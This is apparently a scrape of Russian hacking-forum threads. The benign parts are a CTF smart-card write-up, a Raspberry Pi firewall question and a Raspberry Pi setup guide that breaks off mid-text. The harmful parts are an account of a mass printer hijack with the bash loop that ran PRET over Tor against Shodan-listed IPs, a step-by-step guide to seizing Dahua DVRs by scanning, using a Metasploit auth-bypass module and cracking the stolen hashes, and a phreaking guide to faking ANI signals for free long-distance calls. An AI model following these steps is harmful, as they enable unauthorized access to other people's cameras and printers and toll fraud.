Как мы уже говорили, техническая сторона взлома не представляет особой сложности. @TheHackerGiraffe говорит, что сделал это из скуки: «Мне стало скучно после четырёх часов игры в Destiny 2 и я решил, что хочу кого-нибудь взломать».

Для поиска уязвимых устройств традиционно используется поисковая система Shodan. Она позволяет указать номер порта и протокол — и получить список сетевых устройств, в которых данный порт свободно открыт в интернет, с указанием IP-адресов.

Последняя атака была нацелена на принтеры с открытыми портами IPP (Internet Printing Protocol), LPD (Line Printer Daemon) и портом 9100. Затем пишется скрипт, чтобы рассылать по полученным IP-адресам и указанному порту файл PostScript, который сразу принимается на печать.


Количество принтеров с открытым портом 9100. Скриншот из поисковой системы Shodan (2 декабря 2018 года)

В Reddit AMA хакер @TheHackerGiraffe сказал, что он отправил сообщения только только 50 000 принтеров, хотя мог задействовать и большее количество: поисковик выдал более 800 000 непропатченных принтеров с выставленными в интернет портами по протоколам IPP, LPD и JetDirect. Но хакер выбрал только 50 000 принтеров с открытыми портами 9100.

Список уязвимых принтеров можно скачать с Shodan. Затем хакер взял инструмент Printer Exploitation Toolkit (PRET), исходный код которого свободно опубликован в интернете и использовал его для подключения к принтерам. Кстати, PRET позволяет не только вывести на печать сообщение, но и получить доступ к внутренней сети, к файлам, а также просто повредить принтер, среди прочего.

Архитектура Printer Exploitation Toolkit (PRET)

В январе 2017 года программу выложила группа исследователей вместе с научной работой о бедственной безопасности сетевых принтеров. В своей работе они подробно описали шесть уязвимостей в более чем 20 моделях сетевых принтеров со старыми прошивками. Инструмент предназначен для тестирования сетей и поиска уязвимостей.

@TheHackerGiraffe запустил такой bash- скрипт. Скрипт берёт список принтеров c Shodan (potential_bros.txt) и циклом прогоняет по каждому IP-адресу PRET с командами, указанными в commands.txt:

Bash:Copy to clipboard

#!/bin/bash
while read -r line; do
ip="$line"
torify ./PRET/pret.py $ip pjl -q -i ./commands.txt
done < "./potential_bros.txt"

Содержимое commands.txt:

Bash:Copy to clipboard

print ./message.pdf
display HACKED
quit

В связи с большим количеством IP-адресов скрипт лучше запустить где-нибудь на сервере.


_Атака в действии, скриншот с сервера

@TheHackerGiraffe не считает свои действия незаконными, потому что принтеры свободно открыты для управления через интернет: «Представьте большую кнопку „Печать” в интернете», — говорит он.

Независимо от целей взлома и глупого использования, нынешний инцидент многое говорит о защите сетевых устройств (точнее, об отсутствии этой защиты). Как видим, огромное количество пользователей не думает об обновлении прошивок и не следит за выпуском патчей. Впрочем, это давно известно, сейчас произошла лишь наглядная демонстрация, к чему такое может привести.

«Люди недооценивают, насколько легко хакер-злоумышленник может использовать такую уязвимость, чтобы вызвать серьезный хаос, — написал @TheHackerGiraffe — Они могут украсть файлы, установить вредоносное ПО, нанести физический ущерб принтерам и даже использовать принтер в качестве плацдарма для дальнейшей атаки на внутреннюю сеть».

Впрочем, принтеры — ещё не самая интересная мишень. Например, Shodan находит около 190 000 открытых FTP-серверов_

Взлом DVR Dahua
ID: 676535aeb4103b69df3736ae
Thread ID: 27761
Created: 2019-02-08T19:37:30+0000
Last Post: 2019-02-08T19:37:30+0000
Author: Kevin Shindel
Replies: 0 Views: 3K

Сегодня я вам поведаю как подчинить под свой контроль регистраторы фирмы DAHUA.

Для начала нам нужны след. иснтрументы.
+ nmap
+ metasploit
+ john the ripper
+ Dahua SmartPSS (скачать можно с офф.сайта)

Сначала нам нужно найти собственно сами регистраторы в вебе. Если вы хоть раз настраивали регистратор то знаете что для корректной работы, нужно пробрасывать порт 37777 и 80.
80 порт необходим для просмотра виедфайлов\архива с помощью браузера (так как 80 порт используется для настройки роутера, часто его меняют на 8080,1080, или 81)
37777 порт для проприетарного софта.

Итак искать мы будем открытый порт 37777 (потом обьясню почему не 80 и 8080)

Итак запускаем nmap\masscan для поиска.

команда для нмапа следующая:
root@kali :nmap -n -Pn -T4 -sS -p37777 --open 192.168.1.0/24 -oG 37777_open.txt

если у вас есть список ИПов в стандарте CIRD

если по религиозным убеждениям используете масскан тогда печатайте так...
root@kali: masscan --rate=500 -p37777 192.168.1.0/24 -oG 37777.txt

можно сканировать из внешнего файла
root@kali: nmap -n -Pn -T4 -sS -p37777 --open -iL /home/file.txt -oG 37777_open.txt
для масскана аналогично
root@kali: masscan --rate=500 -p37777 -iL /home/file.txt -oG 37777.txt

После скана нужно "почистить" файлы, оставить только голые ИПы иначе метасплойт пошлёт на йух.

root@kali: cat 37777.txt | sort | uniq > 37777_clear.txt

Окей... мы насканили допустим 30-40 регистраторов, запускаем метасплойт.

root@kali: service postgresql start
root@kali: msfconsole
root@kali: use auxiliary/scanner/misc/dahua_dvr_auth_bypass

дальше сканер нужно настроить....

root@kali: set ACTION USER
root@kali: set THREADS 25

теперь маленькая хитрость, что бы не вбивать ипы вручную просто скормим весь файл метайслойт через спец.строку

root@kali: set RHOSTS file:37777_clear.txt

ждём....

После того как сканер закончил свою работу, копируем лут и сохраняем в тесктовый файл.
Мы получили логины и пароли в зашифрованом виде ( не переживайте крипт там очень простой "Dahua [MD5 32/64]" )
(Однако недавно обратил внимание что DAHUA начала использовать хэш MD5, если таковой появится в выводе метасплойт то его возможно сбрутить через кота)

root@kali: hashcat -m 0 -a 0 hash.txt -o cracked[.]txt /home/wordlist.txt

Копируем хэши в отдельный файл и готовим для брута Джоном, для кота я не нашел подержки.

допустим наш хэш "4WzwxXxm" нужно добавить перед ним префикс $dahua$, хэш будет иметь вид $dahua$4WzwxXxm и скармливаем Джону.

root@kali: john hash.txt

Если пароль не сложный то он быстро найдётся (по собственному опыту на регистраторе минимум 2-4 учётки а то и больше и взламывается сразу почти все)
После удачного брута проверяем пароли...

root@kali: john hash.txt --show

После того как мы подобрали пасс можно поступить двумя способами...
Просканить данный ИП на наличие проброшеного порта регистратора (если таковой имеется) и зайти через ВЕБ или ...
Если есть WIN под рукой установить оригинальный софт от производителя DAHUA PSS.
сцыль "http://ru.dahuasecurity.com/ru/download_2.html"

я скачивал версию "Smart_PSS_International_IS_V2.00.1.R.20170225"

Устанавливаем софт, во время первого запуска он потребует установить пароль... указываем любой... 1234 \ 0000 не важно. (просто в качестве меры безопасности)
Ставим галку сохранить пароль и больше он запрашивается не будет.

Далее идём во вкладку HOME PAGE -> DEVICES

Жмём ADD, и указываем необходимые данные и жмём еще раз ADD.

Переходим обратно в главное меню, выбираем LIVEVIEV и раскрываем список камер справа...

Пруф )

Халявный межгород
ID: 676535aeb4103b69df373710
Thread ID: 3600
Created: 2005-04-23T12:51:56+0000
Last Post: 2005-04-23T12:51:56+0000
Author: s3po
Replies: 0 Views: 3K

В бывшем СССР доступ на междугороднюю сеть осуществляется так: после набора абонентом восьмерки, междугородняя телефонная станция (МАТС) посылает на АТС звонящего абонента запрос-АОН на определение номера, АТС на него выдаёт номер в многочастотной форме. Метод обмана заключается в следующем: МАТС посылает запрос на определение номера, но номер выдаст не Ваша АТС а Вы. Итак: попробуйте у себя дома набрать индекс выхода на междугороднюю сеть - цифру "8" и внимательно проанализируйте звуки в телефонной трубке. Если после набора "8" Вас отключили примерно на 1 секунду, а потом Вы услышали длинный гудок значит Ваш номер определился и Вам предоставили выход на межгород, попробуйте сбрасывать и повторять набор "8". На моей АТС, особенно в час наибольшей нагрузки, аппаратура определения не всегда срабатывает и не отвечает на запросы. Именно это и нужно! Необходимо чтобы после набора "8" в линии были слышны запросы на АОН от МАТС. Обычно их 3 штуки (хотя может быть по-разному) и интервалы между ними обычно около секунды. После этого последуют короткие гудки т.к. номер не определился. Именно, в тот момент, когда идут эти запросы, сразу нужно в линию пустить "ответ АОН", в нём будет закодирован номер абонента кому следует прислать счет за разговор. При этом совсем не обязательно подключать компьютер к телефонной линии, сигнал можно послать даже прислонив динамик к трубке т.к. система очень примитивная. Если Вы пустите в линию сигнал содержащий номер 0000000, то счет вряд ли кому-нибудь придет т.к. такого номера не существует. И так wav-файл с сигналом откройте на каком либо звуковом редакторе или плеере, поставьте режим "loop" чтобы сигнал проигрывался бесконечно по кругу и пускайте в нужный момент. Метод работает только на "дряхлых" АТС, в Клайпеде на номерах 29xxxx (кроме 298xxx). А что делать тем у кого на АТС исправно работает аппаратура АОН?.. Если Ваша АТС всегда выдаёт Ваш номер к МАТС то можно поступить следующим образом: Подключить выход звуковой карты к телефонной линии (естественно не напрямую), набрать <8>, включить анти-АОН и во время его действия пустить в линию ложный <ответ АОН>. Анти-АОН должен быть отрегулирован на минимальную частоту работы, при которой он всё же имеет эффективность. Дело в том что во время действия Анти-АОНа ваша АТС не может послать <ответ АОН>. При этом в промежутках между замыканием и размыканием линии Анти-АОНом (3-5 Hz) вы можете посылать туда всё что захотите. Когда АнтиАОН прекратит работу ваша АТС пошлёт истинный <ответ АОН> правда теперь он уже ни кому не нужен. Звонить таким образом сложно, необходимо "набить руку", но когда научитесь будет очень удобно и приятно часами разговаривать по междугородке. Если Вы прочитали и ничего не поняли, то советую вам сначала ознакомиться с принципом работы АОНа, Анти-АОНа и АТС.

Межсетевой экран на Raspberry Pi 3B+
ID: 676535aeb4103b69df3736af
Thread ID: 27583
Created: 2019-01-31T18:29:54+0000
Last Post: 2019-02-07T11:26:57+0000
Author: monday
Replies: 5 Views: 3K

Всем добрый вечер, обзавелся на днях такой игрушкой, хочу попробовать сделать из него фаервол ( просто хочу, этому нет объяснения =) ), прошерстил инет, из готовых решений наиболее пригляделись IPfire и OPNsense. Может был у кого опыт работы с этими дистрибутивами? Что можете посоветовать, может быть другое решения?

Карточный sokoban. Выигрываем в смарт-карты вместе с Clojure
ID: 676535aeb4103b69df3736b1
Thread ID: 26740
Created: 2018-12-05T10:54:28+0000
Last Post: 2018-12-05T10:54:28+0000
Author: tabac
Replies: 0 Views: 3K

Карточный sokoban. Выигрываем в смарт-карты вместе с Clojure

15–16 ноября в Москве прошла конференция OFFZONE Moscow, где участникам выдали пластиковые смарт- карты и предложили задания на получение флагов с их помощью. Для решения этих задач требовался картридер, который можно было арендовать или купить за внутреннюю валюту. На сайте мероприятия выложили задания и дали управляющие последовательности, с помощью которых можно выполнять функции апплетов, записанных на карту. Разберем задание по шагам.

Почему Clojure?

Для решения таска предлагалось взять Python-библиотеку pyscard. Но решать такого рода задачи гораздо продуктивнее, используя полноценный REPL driven development, с чем нам может помочь Clojure.

Click to expand...

Рандомный посетитель
Началось все с того, что я узнал о возможности взять картридер и, используя некоторые APDU- команды протокола ISO/IEC 7816, выполнять задания с пластиковой смарт-карты, которая была выдана всем участникам вместе с бейджами. Это мне очень сильно напомнило PHDays V, когда я, как обычный посетитель конференции, просто подошел к стенду с электроподстанцией, поснифал пакеты через Wireshark, за ночь написал наивную имплементацию протокола IEC 61850 на Scapy, а на следующий день устроил с ноутбука DoS-атаку всему стенду SCADA (до плавки электропроводов я тогда, конечно же, не добрался).

В этот раз я решил попробовать пойти тем же путем: в первый день поэкспериментировать с протоколом, попробовать решить хотя бы тренировочную задачу на Python, используя библиотеку pyscard, как рекомендовали организаторы конференции, а ночью порешать все остальные задачи, которые получится. В шестом часу утра я понял, что свернул куда-то не туда, но останавливаться было уже поздно.

В итоге во второй день на моей карте благодаря взятым флагам появилось 500 единиц внутренней валюты, что позволило мне уйти с конференции с толстовкой, картридером и еще некоторым мерчем, а также заопенсорсить библиотеку на Clojure, которую я написал в рамках конференции.

Сокобан
Самым красивым заданием (не считая финального с ботом для игры в танки, до которого я добрался, но не успел решить, ибо окирпичил свою карту на запись) с эстетической точки зрения был Vault Warehouse Management System (он же «Кладовщик», он же «Мудрый крот», он же «Сокобан»). Это псевдографическая игра, в которой нужно толкать условные коробки с провиантом таким образом, чтобы они встали на предназначенные для них в бункере-лабиринте места, и при этом не заблокировать эти самые коробки, случайно прижав их к стенам.

Как это работает? В апплете карты предусмотрено восемь команд: одна для получения текущего состояния поля, четыре команды движения кладовщика на одну клетку в любую из сторон, а также дополнительные команды сброса поля, взятия и проверки флага. Посылая эти команды в карту через картридер, нужно дотолкать ящики в нужные позиции. Всего на пластиковой карте было записано два уровня. И если первый несложно решался вручную, то над вторым нужно было хорошо поломать голову либо воспользоваться готовым солвером (о нем я расскажу чуть дальше).

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F196241%2Fsokoban- laptop.jpg&hash=42a684eb231472e36a87a5fcd9396bc4)

Гораздо веселее рассматривать это задание как игру. Для того чтобы выиграть в нее, я поставил своей целью подготовить окружение, написать код, запустить приложение и немного поиграть.

Готовим окружение
Чтобы получить возможность взаимодействовать с картридером и, соответственно, пластиковой смарт-картой, нужно установить необходимое программное обеспечение. В качестве дистрибутива я использую Fedora, поэтому для тебя команды могут отличаться, но смысл остается примерно тот же.

Сначала надо поставить и запустить PCSC Lite — демон и консольную утилиту для управления картой. Делается это как-то так:

Code:Copy to clipboard

sudo dnf install -y pcsc-lite pcsc-tools
sudo service pcscd start

Дополнительные зависимости при установленном Leiningen нам не понадобятся, но если ты собираешься воплотить что-то аналогичное на Python, то рекомендую не заморачиваться с установкой swig, redhat-rpm-config и прочего, а поставить pyscard из пакетного менеджера твоего дистрибутива:

Code:Copy to clipboard

sudo dnf install -y python2-pyscard python3-pyscard

Отлично. Теперь вставим картридер в разъем USB и запустим утилиту для поиска активных смарт-карт:

Code:Copy to clipboard

pcsc_scan

В случае успеха при вставке пластиковой смарт-карты с мероприятия ты увидишь что-то такое:

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F196241%2Fsokoban- scan.png&hash=e678aa499be3d84a4baa698c88099826)

Закрываем утилиту нажатием C-c и приступаем к написанию кода игры.

Пишем код
Тут я подразумеваю, что ты подготовил окружение и прочел книгу Clojure for the Brave and True, чтобы познакомиться с чудесным языком программирования Clojure.

В командной строке создадим новое приложение в папке с проектами и перейдем в него:

Code:Copy to clipboard

lein new app scard-sokoban
cd scard-sokoban

Так как я использую Fedora, то для моего дистрибутива необходимо указать путь /usr/lib64/libpcsclite.so.1 к разделяемой библиотеке для управления смарт- картами в проектном файле, добавив его в системное свойство sun.security.smartcardio.library (в проектном файле задаются по ключу jvm- opts). Также я добавляю дополнительные зависимости org.clojure/tools.namespace для REPL driven development и jline для чтения символов с клавиатуры. После внесенных изменений мой файл project.clj выглядит так:

Code:Copy to clipboard

(defproject scard-sokoban "0.1.0-SNAPSHOT"
  :description "FIXME: write description"
  :url "http://example.com/FIXME"
  :license {:name "Eclipse Public License"
            :url "http://www.eclipse.org/legal/epl-v10.html"}
  :dependencies [[org.clojure/clojure "1.8.0"]
                 [org.clojure/tools.namespace "0.2.11"]
                 [jline "0.9.94"]]
  :jvm-opts ["-Dsun.security.smartcardio.library=/usr/lib64/libpcsclite.so.1"]
  :main ^:skip-aot scard-sokoban.core
  :target-path "target/%s"
  :profiles {:uberjar {:aot :all}})

REPL driven development
Что такое REPL driven development? Это итеративный подход к созданию программного обеспечения, который подразумевает разработку без перезапуска разрабатываемой программы, когда твой интерпретатор напрямую подключен к сердцу программы, а при сохранении кода в редакторе код автоматически приезжает в контекст выполняемого приложения. Подробно о том, что это такое и почему каждому стоит хотя бы раз попробовать такой подход, расписал у себя в блоге Никита Прокопов.

В файле src/scard_sokoban/core.clj создадим минимальный boilerplate для того, чтобы далее можно было итерациями добавлять функции, получив в итоге рабочую программу.

Code:Copy to clipboard

(ns scard-sokoban.core
  (:import (javax.smartcardio TerminalFactory
                              CommandAPDU)
           (jline Terminal))
  (:gen-class))

Мы добавили импортирование нужных классов Java: Terminal для обработки нажатия клавиш и два класса из пакета javax.smartcardio. Для меня стало полной неожиданностью их наличие в дефолтной поставке JVM. Да-да, для работы со смарт-картами можно просто импортировать два Java-класса и сразу же использовать их — ничего больше и не требуется.

В своем редакторе Emacs я сохраняю по C-x C-s и запускаю приложение с помощью CIDER, используя сочетание C-c M-j, что вызовет команду cider-jack-in и запустит (предварительно скачав зависимости) приложение, открыв при этом буфер REPL. Переключаться между буфером редактирования и REPL можно по сочетанию C-x o — проделай эту операцию, чтобы вернуться в буфер редактирования текста и продолжить создание нашего приложения. Для других редакторов способы взаимодействия с REPL отличаются — рекомендую проконсультироваться с документацией к твоему редактору и плагинам Clojure для него.

Работа с картой
Для работы со смарт-картой нам нужна небольшая дополнительная кодовая обвязка вокруг классов Java, чтобы была возможность переиспользовать тот же самый код для других заданий и не писать его заново. Я добавляю к существующему коду вот такой кусок:

Code:Copy to clipboard

(defprotocol SmartCardProto
  (disconnect [card])
  (transmit [card data])
  (select-applet [card aid]))

(def ^:dynamic *select-cmd* [0x00 0xA4 0x04 0x00])

(defrecord SmartCard [conn channel]
  SmartCardProto
  (disconnect [card] (.disconnect conn false))
  (transmit [card data] (.transmit channel (-> data
                                               byte-array
                                               (CommandAPDU.))))
  (select-applet [card aid] (let [select-management *select-cmd*
                                  data (concat select-management
                                               [(count aid)]
                                               aid)]
                              (.transmit card data))))

(defn get-smartcard []
  (let [terminal-factory (TerminalFactory/getDefault)
        terminal (-> terminal-factory
                     .terminals
                     .list
                     first)
        conn (.connect terminal "*")
        channel (.getBasicChannel conn)]
    (->SmartCard conn channel)))

Сохранив файл по C-x C-s, я получаю в буфере REPL сообщение

Code:Copy to clipboard

:reloading (scard-sokoban.core scard-sokoban.core-test)

Это значит, что сохраненный файл автоматически загрузился в REPL без ошибок и уже можно вызвать из него функцию (get-smartcard) и посмотреть результат.

Когда картридер отключен, при вызове (get-smartcard) произойдет ошибка PCSCException SCARD_E_NO_READERS_AVAILABLE; при включенном картридере, но не вставленной карте — PCSCException SCARD_E_NO_SMARTCARD. Если все прошло гладко, то вернется запись типа scard_sokoban.core.SmartCard, которую можно продолжать использовать для взаимодействия с картой.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F196241%2Fsokoban- repl.png&hash=a55074c2f2ec008c0951a3a67ad05025)

Эта самая запись поддерживает функцию select-applet для выбора апплета с карты (ей в качестве аргумента передается в виде вектора байтов AID — applet ID), функцию transmit, куда передается вектор байтов для вызова какой-либо функции апплета карты, и функцию disconnect для отключения соединения.

Реализация
Давай же напишем тот самый кусок кода, который будет выполнять функцию движения, а затем получать состояние доски со смарт-карты. Выглядит он следующим образом:

Code:Copy to clipboard

(defn bytes-to-str [data]
  (apply str (map char data)))

(defn sokoban [& [function]]
  (let [card (get-smartcard)
        result (atom nil)
        aid [0x4f 0x46 0x46 0x5a 0x4f 0x4e 0x45 0x32 0x10 0x01]
        get-state [0x10 0x30 0x00 0x00 0x00]]
    (.select-applet card aid)
    (when function
      (reset! result (function card)))
    (doall (for [line (->> (.transmit card get-state)
                           .getData
                           bytes-to-str
                           (partition 12)
                           (map (partial apply str)))]
             (println line)))
    (.disconnect card)
    @result))

Функция sokoban присоединяется к смарт-карте, выбирает апплет, идентификатор которого предоставили организаторы мероприятия, опционально вызывает функцию из аргумента, рисует доску, по 12 колонок в каждой строке (доска 12 на 8), и отсоединяется от карты. Вызовем ее без аргументов, чтобы посмотреть, как выглядит доска.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F196241%2Fsokoban- board.png&hash=8da0affed777f2a6fb317888f2bfc8e3)

Теперь нужно добавить функции движения (чтобы не дублировать себя — в виде макроса) и сброса доски (данные, которые нужно передавать в функции, описаны там же, где и само задание, — на сайте мероприятия):

Code:Copy to clipboard

(defmacro defdirection [function byte]
  `(defn ~function [card#]
     (.transmit card# [0x10 0x20 0x00 0x00 0x01 ~byte])))

(defdirection left 0x61)
(defdirection right 0x64)
(defdirection up 0x77)
(defdirection down 0x73)

(defn reset [card]
  (.transmit card [0x10 0x40 0x00 0x00 0x00]))

После этого можно из REPL передавать вторым параметром имя функции направления — (sokoban left) или сброса поля — (sokoban reset). На этом можно было бы и закончить, продолжив решать задание с помощью ввода таких команд, но так как мы решили делать игру, то давай еще допишем функцию -main:

Code:Copy to clipboard

(defn -main [& [steps]]
  (let [term (Terminal/getTerminal)
        remaining-steps (atom steps)]
    (while true
      (print "\033[H\033[2J")
      (sokoban (case (if @remaining-steps
                       (let [[next-step & others] @remaining-steps]
                         (reset! remaining-steps others)
                         (case next-step
                           \u 105 \U 105 \l 106 \L 106
                           \d 107 \D 107 \r 108 \R 108))
                       (.readCharacter term System/in))
                 105 up 106 left
                 107 down 108 right
                 32 reset
                 identity))
      (when @remaining-steps
        (Thread/sleep 100)))))

Здесь если в качестве аргумента командной строки передана последовательность, состоящая из символов [LlRrUuDd], то она будет исполнена в виде сценария движения кладовщика. В ином случае (или если последовательность закончилась) управление производится с помощью клавиш i, j, k, l.

Первый уровень игры пройдем вручную, запустив нашу игру из командной строки без аргументов:

Code:Copy to clipboard

lein run

Солвер
Второй уровень пройти не так просто, поэтому, чтобы ускорить дело, найдем готовое решение. По запросу в гугле «sokoban solution c++» нашлась такая ссылка — это то, что нам нужно. В идеале можно пристыковать это решение к коду на Clojure через JNI-интерфейс (да, такое работает с использованием небольшого количества кода на Java, я проверял), но в рамках этой статьи я не буду этого делать (но ты можешь попробовать).

Подставив наше поле второго уровня в переменную level кода и собрав его (предварительно доставив boost из пакетного менеджера), запустим приложение, скопируем полученный сценарий и вставим его аргументом командной строки нашей игры.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F196241%2Fsokoban- scenario.png&hash=06121e5fea9e70c393b463894f9d419f)

После того как сценарий второго уровня завершится и ящики окажутся на своих местах, вместо доски нам отобразится заветный флаг. Чтобы поиграть еще, можно сбросить состояние апплета с помощью (sokoban reset) или в игре нажав клавишу пробела.

Заключительное слово
Я рекомендую тебе на досуге подробнее ознакомиться с концепцией REPL driven development и поковыряться с Clojure. Да, в том числе если ты никогда не планируешь использовать его в продакшене.

Я понимаю, что вероятность наличия у тебя той самой смарт-карты и картридера довольно мала, и поэтому предлагаю тебе в качестве домашнего задания написать без использования этого железа функции формирования карты, перемещения кладовщика и ящиков с провиантом (по возможности без использования глобального состояния).

И небольшой совет: если ты так же, как и я, никогда не позиционировал себя хакером, то все равно старайся принимать участие в подобного рода мероприятиях. Во-первых, это весело и занимательно, а во-вторых, никто не осудит, если что-то не получится. В крайнем случае обретешь неоценимый опыт, а в идеальном еще и мерч, строчку в портфолио и радость от того, что у тебя все получилось. Ближайшим крупным мероприятием, где можно понажимать на кнопки, мне видится Positive Hack Days 21–22 мая — встретимся там.

Веселых экспериментов!

(c) Сергей Собко, взял с хакер ру

Знакомимся с Raspberry Pi
ID: 676535aeb4103b69df3736b2
Thread ID: 26611
Created: 2018-11-22T17:58:09+0000
Last Post: 2018-11-28T09:41:22+0000
Author: tabac
Replies: 2 Views: 3K

Предисловие

Наступал новый 2018 год. Кто-то собрался уезжать праздновать его наступление в тёплые края за границу, а кто-то остался праздновать новый год дома, в серых стенах каменного Санкт-Петербурга. Пожалуй, несомненно то, что новогодние праздники – особенная пора, от которой ждут волшебства, единения с семьёй и друзьями, и, разумеется, подарков, ведь все мы в той или иной степени в душе немного дети. Просто те, что помладше, ждут Деда Мороза, а те, что постарше, идут за подарками в магазин сами. Вот и я решил зайти на eBay за подарком самому себе на новый год.
Дело в том, что сам по себе настольный компьютер на базе архитектуры Intel x86 уже не вызывает большого удивления, однако всё больше и больше появляется энтузиастов, ковыряющих различные SoC-решения, которые зачастую базируются на архитектуре ARM либо MIPS. А учитывая то, что относительно незадолго до новогодних праздников ко мне на почту прилетело письмо с вопросом о том, буду ли я поддерживать архитектуру ARM в одном из своих проектов, я однозначно решил найти себе платформу на базе ARM. И одной из самых популярных, на мой взгляд, является платформа Raspberry Pi, которая к этому моменту уже успела выйти в третьей версии.

Комплектация

Вот он, мой подарок на Новый год! Изучив подробно предложения на eBay, я остановился на варианте стоимостью в $77, который включает в себя:

Разумеется, хотелось ещё и какой-нибудь мини-экран, чтобы не ворочать головой к телевизору и не переключать постоянно основной монитор с DVI на HDMI и обратно. Поэтому я нашёл очень забавный семидюймовый HDMI-дисплей разрешением 1024x600 пикселей, который, помимо всего, ещё и имеет ёмкостную сенсорную поверхность. И такое чудо обошлось всего лишь в какие-то 50$.
Итого мы имеем компьютер по цене дешёвого мобильника, с достаточно внушительными характеристиками:

разъёмы:

Но меня в первую очередь интересует именно процессор и его набор команд, а остальное – по мере желания и возможностей.

Первый взгляд

Новогодние праздники прошли, а я довольный вернулся из почтового отделения с коробками, в которых лежали долгожданные компьютер и экран. На самом деле, я ожидал, что коробки будут несколько больше, но производители действительно не обманули, заявив, что компьютер по размерам не больше кредитной карточки. Упаковано всё достаточно аккуратно, без множества вычурных бумажек, хотя, честно, хотелось увидеть какой-нибудь многостраничный рекламный буклетик. Всё по-минимуму, сам компьютер лежит в такой бумажной коробочке:
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F001-box- jpg.2370%2F&hash=c8a23ecc8a0dab266779cec424575076)
Рисунок 1. Коробочка Raspberry Pi.
Не буду долго рассказывать про распаковку, этим занимаются отдельные люди. В целом, всё без проблем размещается на одном столе.
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F002-full- complectation-jpg.2371%2F&hash=751cb9bb041e38c374e64809380871a0)
Рисунок 2. Вся комплектация одним снимком.
И, прежде, чем что-либо подключать, на всякий случай сделаем резервную копию флеш-карты.
Смотрим по dmesg устройство, которое было подключено к кард-ридеру:

Code:Copy to clipboard

[*][ 6262.662987] sd 8:0:0:2: [sdf] 31116288 512-byte logical blocks: (15.9 GB/14.8 GiB)
[*][ 6262.663993] sd 8:0:0:2: [sdf] Write Protect is on
[*][ 6262.663995] sd 8:0:0:2: [sdf] Mode Sense: 03 00 80 00
[*][ 6262.671625]  sdf: sdf1 sdf2

Отлично, снимаем копию утилитой dd куда-нибудь в рабочий каталог:

Code:Copy to clipboard

[*]dd if=/dev/sdf of=/home/work/rpi/20180113-native.img
[*]31116288+0 записей получено
[*]31116288+0 записей отправлено
[*]15931539456 байт (16 GB, 15 GiB) скопирован, 819,005 s, 19,5 MB/s

В целом, скорость около 20 Мбайт в секунду, не супер-быстро, но и не медленно.
Теперь давайте смонтируем разделы sdf1 и sdf2 и посмотрим, что на них.

Code:Copy to clipboard

[*]mkdir /mnt/1
[*]mkdir /mnt/2
[*]mount /dev/sdf1 /mnt/1
[*]mount: /dev/sdf1 is write-protected, mounting read-only
[*]mount /dev/sdf2 /mnt/2
[*]mount: /dev/sdf2 is write-protected, mounting read-only

Странно. Почему-то карточка защищена от записи. Демонтируем разделы и cмотрим на саму карту…

Code:Copy to clipboard

[*]umount /mnt/1
[*]umount /mnt/2

Вытаскиваем карту, осматриваем, вставляем. Теперь в dmesg:

Code:Copy to clipboard

[*][ 8202.595233] sd 8:0:0:2: [sdf] 31116288 512-byte logical blocks: (15.9 GB/14.8 GiB)
[*][ 8202.596229] sd 8:0:0:2: [sdf] Write Protect is off
[*][ 8202.596230] sd 8:0:0:2: [sdf] Mode Sense: 03 00 00 00
[*][ 8202.603872]  sdf: sdf1 sdf2

По всей видимости, проблема в контактах кард-ридера. Тем не менее, теперь мы можем исследовать разделы:

Code:Copy to clipboard

[*]mount /dev/sdf1 /mnt/1
[*]mount /dev/sdf2 /mnt/2

Code:Copy to clipboard

[*]df -h
[*]Файловая система       Размер Использовано  Дост Использовано% Cмонтировано в
[*]...
[*]/dev/sdf1                512M         117M  396M           23% /mnt/1
[*]/dev/sdf2                 27M         396K   26M            2% /mnt/2

Смотрим содержимое разделов:

Code:Copy to clipboard

[*]ls -1 /mnt/1
[*]bcm2709-rpi-2-b.dtb
[*]bcm2710-rpi-3-b.dtb
[*]bootcode.bin
[*]cmdline.txt
[*]config.txt
[*]fixup.dat
[*]kernel.img
[*]overlays
[*]start.elf
[*]SYSTEM
[*]System Volume Information

По всей видимости, первый раздел содержит EFI. Второй же раздел, как видим, пуст:

Code:Copy to clipboard

[*]ls -l /mnt/2
[*]итого 13
[*]drwx------  2 root root 12288 мар  1  2016 lost+found
[*]-rw-r--r--. 1 root root     0 мар  1  2016 .please_resize_me

Теперь мы готовы запустить сам микрокомпьютер и посмотреть, что произойдёт.

Code:Copy to clipboard

[*]umount /mnt/1
[*]umount /mnt/2

Собираем тестовый стенд. В первую очередь вставляем SD-карту в соответствующий слот, подключаем мини-клавиатуру к порту USB, соединяем устройство с тачскрином проводом HDMI, и, помимо этого, ещё дополнительным USB-проводом, чтобы было можно пользоваться тачскрином. Также кидаем идущий в комплекте сетевой патч-корд от микрокомпьютера до роутера.
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F003-connections- jpg.2372%2F&hash=b256b65006152341287da7b7fda89304)
Рисунок 3. Взаимное подключение устройств.
Включаем питание, и… ничего, экран мигнул, потом заполнился чёрным, и перестал что-либо показывать. По всей видимости, что-то с конфигурацией, поэтому приходится всё-таки подключить свой основной рабочий монитор. И теперь, похоже, понятно, в чём дело.
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F004-openelec- jpg.2373%2F&hash=3934c002f0dc9aa2455d590e0519e308)
Рисунок 4. Экран приветствия от openELEC.
![](/proxy.php?image=https%3A%2F%2Fwasm.in%2Fattachments%2F005-openelec- jpg.2374%2F&hash=58f32a58ca0dcfbe5c02a3a7a3d0e50f)
Рисунок 5. Интерфейс openELEC.
Как видим, по умолчанию на карте был записан образ openELEC, то есть программное обеспечение для медиацентра. Нам же это совсем не подходит, поэтому будем ставить свой полноценный Linux-дистрибутив. Для этого начнём с официально поддерживаемого сообществом дистрибутива Raspbian, базирующегося на Debian Linux.

Ставим Raspbian

Скачиваем образ диска утилитой wget:

Code:Copy to clipboard

[*]wget https://downloads.raspberrypi.org/raspbian_latest
[*]2018-01-13 01:31:58 (2,31 MB/s) - «raspbian_latest» сохранён [1764972666/1764972666]

Распаковываем:

Code:Copy to clipboard

